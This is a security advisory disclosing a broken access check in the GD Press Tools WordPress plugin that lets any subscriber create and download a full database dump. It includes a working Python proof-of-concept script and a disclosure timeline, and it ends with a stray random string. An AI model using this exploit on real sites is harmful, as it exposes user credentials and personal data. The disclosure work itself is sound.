GD Press Tools [Sensitive Data Exposure]

GD Press Tools plugin for WordPress suffers from a Data Exposure vulnerability

Description

GD Press Tools plugin for WordPress suffers from a Data Exposure vulnerability.

Plugin hooks a function to admin_init WordPress action which in turn executes the method gdPTAdmin::init_operations(). This method doesn’t check user rights before executing a list of predefined actions. One of those actions is the creation of a file that contains a back up of the database.

Any registered user can execute this action in order to create a file containing a DB dump. This file is created in wp-content/gdbackup directory and the file name has is of format 'db<em>backup</em>'.date('ymd_His').'.sql'. The folder that this file is created in has no protection by default so accessing the created file is trivial.

PoC

#!/usr/bin/python3

################################################################################
# GD Press Tools - Sensitive Data Exposure PoC
#
# Author: Pan Vag <[email protected]>
################################################################################

import requests
from datetime import datetime
from email.utils import parsedate_tz, mktime_tz

baseUrl = 'http://example.com'
loginUrl = baseUrl + '/wp-login.php'
adminUrl = baseUrl + '/wp-admin/index.php'
dumpDir = baseUrl + '/wp-content/gdbackup/'

loginPostData = {
    'log': 'subscriber',
    'pwd': 'password',
    'rememberme': 'forever',
    'wp-submit': 'Log+In'
}

s = requests.Session()

r = s.post(loginUrl, loginPostData)
if r.status_code != 200:
    print('Login error')
    exit(1)

if 'Date' in r.headers:
    dt = datetime.strptime(r.headers['Date'], '%a, %d %b %Y %H:%M:%S %Z')
    st = datetime.time(dt)
    d = datetime.date(dt)
else:
    st = datetime.time(datetime.now())
    d = datetime.date(datetime.now())

r = s.post(adminUrl, data={'gdpt_backup_run': 1})

if 'Date' in r.headers:
    et = datetime.time(
        datetime.strptime(r.headers['Date'], '%a, %d %b %Y %H:%M:%S %Z')
    )
else:
    et = datetime.time(datetime.now())

pre = d.strftime('%y%m%d_') + st.strftime('%H%M')

for sec in range(st.second, et.second + 1):
    fileUrl = dumpDir + 'db_backup_' + pre + str(sec) + '.sql'
    r = s.get(fileUrl)
    if r.status_code == 200:
        f = open('dump.sql', 'w')
        f.write(r.text)
        f.close()
        print('File saved')
        break

if r.status_code != 200:
    print('Something went wrong')
    exit(1)

exit(0)


Solution

As of 2016-02-18 vendor stated that this plugin is discontinued and won’t resolve this issue. The only available solution is to remove this plugin.


INFO
TIMELINE
  • 2016-02-17:
    Vendor notified through wordpress.org support forums
  • 2016-02-18:
    Vendor notified through contact form in his website
  • 2016-02-18:
    Notified security at wordpress.org and plugins at wordpress.org
  • 2016-02-23:
    Plugin was taken down by wordpress.org plugins team
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX